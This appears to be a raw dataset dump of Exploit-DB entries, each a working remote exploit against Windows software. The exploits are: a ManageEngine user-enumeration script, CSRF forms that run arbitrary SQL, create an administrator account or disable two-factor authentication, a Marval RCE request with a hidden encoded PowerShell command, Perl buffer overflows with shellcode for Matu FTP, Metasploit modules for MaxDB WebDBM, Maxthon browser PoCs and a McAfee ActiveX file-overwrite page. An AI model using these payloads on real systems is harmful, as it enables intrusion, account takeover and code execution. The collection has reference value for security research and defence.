deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50873
Description: ManageEngine ADSelfService Plus 6.1 - User Enumeration
Type: remote
Platform: windows
Date: 2022-04-19
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: ADSelfService 6.1 Build 6121
# Tested Against: Build 6118 - 6121
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md

# !/usr/bin/python3
import requests
import sys
import time
import urllib3
from urllib3.exceptions import InsecureRequestWarning

"""
The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.
If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.
"""

def request(target, user):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    url = target + 'ServletAPI/accounts/login'
    data = {"loginName": user}
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
    req = requests.post(url, data=data, headers=headers, verify=False)

    # For debugging
    # print("[*] Response for " + user + ": " + req.text.strip())
    if 'PASSWORD' in req.text:
        print("[+] " + user + " is VALID!")
    elif 'Your account has been disabled' in req.text:
        print("[+] " + user + " account has been DISABLED.")
    elif 'Your account has expired' in req.text:
        print("[+] " + user + " account has EXPIRED.")
    elif 'Enter the text as shown in the image.' in req.text:
        print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the 30 minutes. ")
    elif 'Permission Denied.' in req.text:
        print("[-] " + user + " is not found.")


def get_users(target, file):
    try:
        file = open(file, "r")
        for line in file:
            line = line.strip()
            time.sleep(0.5)
            request(target, user=line)
    except FileNotFoundError:
        print("[-] File not found!")
        sys.exit(1)


def main(args):
    if len(args) != 3:
        print("[*] Usage: %s url usernames_file" % (args[0]))
        print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0]))
        sys.exit(1)
    get_users(target=args[1], file=args[2])


if __name__ == "__main__":
    main(args=sys.argv)
Exploit-DB #7918
Description: ManageEngine Firewall Analyzer 5 - Cross-Site Request Forgery / Cross-Site Scripting
Type: remote
Platform: windows
Date: 2009-01-29
Author: Michael Brooks

Exploit:
Written By Michael Brooks
Special thanks to str0ke!


Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS
Vulerable version:
Build Version  :  	5.0.0
Build Number  :  	5000
Build Date  :  	Apr_25
homepage:
http://fwanalyzer.com/

This is live exploit code against the online demo.   Go ahead,  run it!

With this exploit you can execute any SQL query you want,  this is not
SQL Injection.  I think its funny that the sql query is also
vulnerable to xss.

XSRF to execute Arbatrary SQL Queries.  This is not SQL Injection,
its better because you can execute *any*  query.
<html>
	<form action='http://demo.fwanalyzer.com/fw/runQuery.do' method='POST' id=1>
		<input type=hidden name="execute" value="true" >
		<input type=hidden name="DatabaseType" value="mysql">
		<input type=hidden name="query" value='select
"<script>alert(/0wn3d/)</script>"'>
		<input type=submit>
	</form>
</html>

Create a new administrative account badmin:badmin:
<html>
	<form action='http://demo.fwanalyzer.com/fw/userManagementForm.do'
method='POST' id=2>
		<input type=hidden name='addField' value='true'>
		<input type=hidden name='productName' value='firewall'>
		<input type=hidden name='userType' value='Administrator'>
		<input type=hidden name='licType' value='Prem'>
		<input type=hidden name='userName' value='madmin'>
		<input type=hidden name='pwd1' value='badmin'>
		<input type=hidden name='password' value='badmin'>
		<input type=hidden name='userGroup' value='Administrator'>
		<input type=hidden name='email' value='badmin@badmin.com'>
		<input type=hidden name='availableDevices' value='301'>
		<input type=hidden name='Submit3' value='Add User'>
		<input type=submit>
		</form>
</html>

<script>
	document.getElementById(1).submit();
	//document.getElementById(2).submit();
</script>

# milw0rm.com [2009-01-29]
Exploit-DB #50957
Description: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF)
Type: remote
Platform: windows
Date: 2022-06-14
Author: Momen Eldawakhly

Exploit:
# Exploit Title: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF)
# Date: 27/5/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.marvalnorthamerica.com/
# Software Link: https://www.marvalnorthamerica.com/
# Version: v14.19.0.12476
# Tested on: Windows
# PoCs: https://drive.google.com/drive/folders/1Zy5Oa-maLo0ACfLz90uvxqxwG18DwAZY
# 2FA Bypass:

<html>

  <body>
    <form action="https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptHandler.ashx?method=DisableTwoFactorAuthentication&classPath=%2FMSM_Test%2FRFP%2FForms%2FProfile.aspx&classMode=WXr8G2r3eh3984wn3YQvtybzSUW%2B955Uiq5AACvfimwA%2FNZHYRFm8%2Bgidv5CcNfjtLsElRbK%2FRmwvfE9UfeyD6DseGEe5eZGWB32FOJrhdcEh7oNUSSO9Q%3D%3D" method="POST" enctype="text/plain">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #50956
Description: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated)
Type: remote
Platform: windows
Date: 2022-06-14
Author: Momen Eldawakhly

Exploit:
# Exploit Title: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated)
# Date: 27/5/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.marvalnorthamerica.com/
# Software Link: https://www.marvalnorthamerica.com/
# Version: v14.19.0.12476
# Tested on: Windows
# Detailed blog: https://cyber-guy.gitbook.io/cyber-guy/blogs/marval-msm-rce

POST /MSM_Test/RFP/Forms/ScriptHandler.ashx?method=ProcessScript&classPath=%2FMSM_Test%2FRFP%2FForms%2FScriptMaintenance.aspx&classMode=WXr8G2r3eh0wvNjbiIT6aYVgZATjWlaZW0UFQrQrcAku4qWefyYTUu%2BzULTTON0fQaLjNtnCW7VX%2Fj1rYPDpKKN%2F8HPLGRSpVbdvPaR4mPIrSr4Aj22VMuIDEkMTpPhoq3gX8p4TBir56GBTJcpLv1agwKPB%2BWI%2F2TlU%2FjQKzz0%3D HTTP/2
Host: MSMHandler.io
Cookie: ASP.NET_SessionId=arrsgikvbwbagdsvetfvphbu; appNameAuth=B3D1490922B24585684E139359F3BB93D8D92468A906B1FEA01EB4CF760A23DC90BF[PII_REDACTED]7BBC00C5860C145602EF39BB9BEBB6A451E57DBF42C47B7D0CDE09F4CE15D2A5BEBFFCE5A7BFCF7DED8D8B17036F2BCE3DDA873B542EED614B9B42E4B5E4AA18BBE32CC0EB864E6825C898A2F465A42E871DF13F19845E171697D5E23688EAD29D3F6B221DBF18002DE5B929DBA88D42B4B518BC95F5BC5F3A3D36722F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 456
Origin: https://MSMHandler.io
Dnt: 1
Referer: https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptMaintenance.aspx?id=3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

type=%221%22&content=%22%5Cn%5CnFunction+Pwn()%5Cn++Set+shell+%3D+CreateObject(%5C%22wscript.Shell%5C%22)%5Cn%5Cn%5Cn++++shell.run+%5C%22powershell.exe+-nop+-w+hidden+-E+%5C%22%5C%22JAB2AGEAcgA9AGgAbwBzAHQAbgBhAG0AZQA7AG4AcwBsAG8AbwBrAHUAcAAgAGsAcgBmADUAbAB2AGYANABzAGUAdABtAGoAMgB2AG4AZABiADUAOQBsADQAdgBtAGcAZABtADUAawB0ADkALgAkAHYAYQByAC4AbwBhAHMAdABpAGYAeQAuAGMAbwBtAA%3D%3D%5C%22%5C%22%5C%22%5Cn%5Cn%5CnEnd+Function%5Cn%5CnPwn%22&id=%2226%22&isCi=true
Exploit-DB #21410
Description: Matu FTP 1.74 - Client Buffer Overflow
Type: remote
Platform: windows
Date: 2002-04-23
Author: Kanatoko

Exploit:
source: https://www.securityfocus.com/bid/4572/info

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a Matu FTP client. 

If,upon user connection, a FTP server '220' response is of excessive length, a stack-based overflow condition could occur. This overflow could overwrite stack variables and be used to execute arbitrary code. However, sending random data could cause the application to crash.


pwd
#!/usr/local/bin/perl

#------------------------------------------------------------------------
# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#------------------------------------------------------------------------
$|=1;

        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

        #egg_address = 0x0012F43C
$buf = "\x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "\x3C\xF4\x12\x00";
$buf .= "B" x 80;

print "220 $buf\r\n";
Exploit-DB #21468
Description: Matu FTP Server 1.13 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2002-05-22
Author: Kanatoko

Exploit:
source: https://www.securityfocus.com/bid/4792/info

Matu FTP Server is a freely available FTP server for Microsoft Windows 95 and 98 operating systems.

Matu FTP Server is vulnerable to a buffer overflow condition.

It is possible for a malicious user to craft a request that will result in code execution on the vulnerable system.

This issue has been reported in Matu FTP Server 1.13. Other versions may also be affected. 

#!/usr/local/bin/perl

#-----------------------------------------------
# MatuFtpServer 1.1.3.0 exploit ( for Windows98 )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#-----------------------------------------------

use Socket;

$connect_host = "target.example.com";
$port = 21;
$iaddr = inet_aton( $connect_host ) || die "Host Resolve Error.\n";
$sock_addr = pack_sockaddr_in( $port, $iaddr );
socket( SOCKET, PF_INET, SOCK_STREAM, 0 ) || die "Socket Error.\n";
connect( SOCKET, $sock_addr ) || die "Connect Error\n";
select( SOCKET ); $|=1; select( STDOUT );

    #egg written by UNYUN (http://www.shadowpenguin.org/)
    #16bytes
$egg  = "\x43\x43\x43\x43\x43\x53\x53\x53";
$egg .= "\xB8\x2D\x23\xF5\xBF\x48\x50\xC3";

    #0x0177F984
$buf  = "\x90" x 1032;
$buf .= $egg;
$buf .= "\x8C\xF9\x77\x01";
$buf .= "A" x 696;

print SOCKET "PASS $buf\r\n";
$hoge = <SOCKET>; print $hoge;

--

#sorry for the bad english

Kanatoko <anvil@jumperz.net>
http://www.jumperz.net/(Japanese)
Exploit-DB #16765
Description: MaxDB WebDBM - 'Database' Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: maxdb_webdbm_database.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MaxDB WebDBM Database Parameter Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the MaxDB WebDBM
				service. By sending a specially-crafted HTTP request that contains
				an overly long database name. A remote attacker could overflow a buffer
				and execute arbitrary code on the system with privileges of the wahttp process.

				This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2006-4305'],
					['OSVDB', '28300'],
					['BID', '19660'],
				],
			'DefaultOptions' =>
			{
				'EXITFUNC' => 'thread',
			},

			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
					[ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 29 2006'))

		register_options( [ Opt::RPORT(9999) ], self.class )
	end

	def exploit
		connect

		server = rand_text_english(5, payload_badchars)
		user   = rand_text_english(5, payload_badchars)
		pass   = rand_text_english(5, payload_badchars)
		port   = rand(65535).to_s

		sploit =  rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
		sploit << payload.encoded

		req    =  "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
		req    << "&User=#{user}&Password=#{pass}"

		res    =  "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"
		res    << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"

		print_status("Trying target %s..." % target.name)

		sock.put(res)

		#give wahttp.exe a bit to recover...
		select(nil,nil,nil,2)

		handler
		disconnect
	end

end
Exploit-DB #16791
Description: MaxDB WebDBM - GET Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: maxdb_webdbm_get_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MaxDB WebDBM GET Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the MaxDB WebDBM
				service. This service is included with many recent versions
				of the MaxDB and SAPDB products. This particular module is
				capable of exploiting Windows systems through the use of an
				SEH frame overwrite. The offset to the SEH frame may change
				depending on where MaxDB has been installed, this module
				assumes a web root path with the same length as:

				C:\Program Files\sdb\programs\web\Documents
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0684'],
					[ 'OSVDB', '15816'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],
					[ 'BID', '13368'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2052,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
					'StackAdjustment' => -3500,
				},
				'Platform'   => 'win',
			'Targets'        =>
				[
					['MaxDB 7.5.00.11 / 7.5.00.24', { 'Ret' => 0x1002aa19 }], # wapi.dll
					['Windows 2000 English',        { 'Ret' => 0x75022ac4 }], # ws2help.dll
					['Windows XP English SP0/SP1',  { 'Ret' => 0x71aa32ad }], # ws2help.dll
					['Windows 2003 English',        { 'Ret' => 0x7ffc0638 }], # peb magic :-)
					['Windows NT 4.0 SP4/SP5/SP6',  { 'Ret' => 0x77681799 }], # ws2help.dll
				],
			'DisclosureDate' => 'Apr 26 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(9999)
			], self.class)
	end

	def exploit
		# Trigger the SEH by writing past the end of the page after
		# the SEH is already overwritten. This avoids the other smashed
		# pointer exceptions and goes straight to the payload.
		buf = rand_text_alphanumeric(16384)
		buf[1586, payload.encoded.length] = payload.encoded
		buf[3638, 5] = "\xe9" + [-2052].pack('V')
		buf[3643, 2] = "\xeb\xf9"
		buf[3647, 4] = [target.ret].pack('V')

		print_status("Trying target address 0x%.8x..." % target.ret)

		send_request_raw({
			'uri' => '/%' + buf
		}, 5)

		handler
	end

end
Exploit-DB #32197
Description: Maxthon Browser 1.x - Content-Type Buffer Overflow
Type: remote
Platform: windows
Date: 2008-08-09
Author: DATA_SNIPER

Exploit:
source: https://www.securityfocus.com/bid/30617/info

Maxthon Browser is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Maxthon Browser 2.0 are vulnerable. 

#!/usr/bin/perl  # Maxthon Browser << 2.0 Stack Overflow Crash  # Descoverd by DATA_SNIPER  # Usage:   #connect from maxthon browser to http:/127.0.0.1/
use IO::Socket;
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 80,
                               
Proto     =>
 'tcp');  die unless $sock;
$huge="A" x 1100000;
$|=1;  print "===================================================================\n";
print " Mawthon Browser << 2.0 Stack Overflow Crash\n";
print "               Bug Descoverd by DATA_SNIPER\n";
print " GreetZ To:Alpha_Hunter,Pirat Digital,Xodia,DelataAzize,AT4RE Team,all algerian hackers\n";
print "               Mail me at:Alpha_three3333(at)yahoo(dot)com\n";  print "   BigGreetZ To: www.at4re.com,www.crownhacker.com\n";
print"===================================================================\n";  print " [+] HTTP Server started on port 70... \n";
print" [+]Try IExplore http://127.0.0.1/ \n";
$z=$sock->accept();  print " [+]connection
 Accepted!\n";
do
{
 $ln=<$z>;
 
print $ln;
 chomp $ln;
 
 if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
 {
  
print " [<>]Sending Evil Packet\n";
  
print $z " HTTP/1.1 200 OK\r\nServer: bugs 3.1.02\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
  
close($z);
  
exit;
 
}
} while (true);
Exploit-DB #25274
Description: Maxthon Web Browser 1.2 - Search Bar Information Disclosure
Type: remote
Platform: windows
Date: 2005-03-25
Author: Aviv Raff

Exploit:
source: https://www.securityfocus.com/bid/12898/info

Maxthon Web Browser is reported prone to an information disclosure vulnerability. This issue may allow an attacker to disclose search bar contents from an affected browser.

Information disclosed through the exploitation of this vulnerability may aid an attacker in carrying out other attacks against a vulnerable computer.

Maxthon Web Browser 1.2.0 is reported to be vulnerable to this issue. Prior versions may be affected as well.

<html>
<head>
<title>Maxthon's Search Bar Information Disclosure PoC</title>
<script>
function sniff() {
try {
s.value=external.m2_search_text;
}
catch(e) {}
}
function body_onload() {
window.setInterval('sniff()',100);
}
</script>
</head>
<body onload="body_onload()">
Information typed in Maxthon's search bar will be displayed here: <input type="text" id="s" value='' readonly="true" />
</body>
</html>
Exploit-DB #8970
Description: McAfee 3.6.0.608 - 'naPolicyManager.dll' ActiveX Arbitrary Data Write
Type: remote
Platform: windows
Date: 2009-06-16
Author: callAX

Exploit:
GOODFELLAS Security Research TEAM
http://goodfellas.shellcode.com.ar
Greetings to str0ke


McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write
==============================================================================

Internal ID: VULWAR20090616.
-----------


Introduction
------------

naPolicyManager.dll is a library included in the Program Mc Afee inc.


Tested In
---------

- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
-------

The WriteTaskDataToIniFile method doesn't check if it's being called from the
application or from a malicious user. A Remote Attacker could craft a 
html page and overwrite arbitrary files in a system.


Impact
------

The vulnerability could allow malicious users to write arbitrary data on a 
vulnerable system that uses this software.


Workaround
----------

- Activate the Kill bit zero in the clsid corresponding to the software.
- Unregister naPolicyManager.dll using regsvr32.


Timeline
--------

July 16 2009 -- Bug Discovery.
July 16 2009 -- POC published.


Credits
-------

 * callAX <bemariani@gmail.com>


Technical Details
-----------------

WriteTaskDataToIniFile method receives one argument filename in this format
"c:\path\file".


Proof of Concept
---------------

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{04D18721-749F-4140-AEB0-CAC099CA4741}"></object>
<SCRIPT>
function Do_1t()
 {
   File = "C:\b00t.ini"
   ctrl.WriteTaskDataToIniFile(File)
 }
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>

# milw0rm.com [2009-06-16]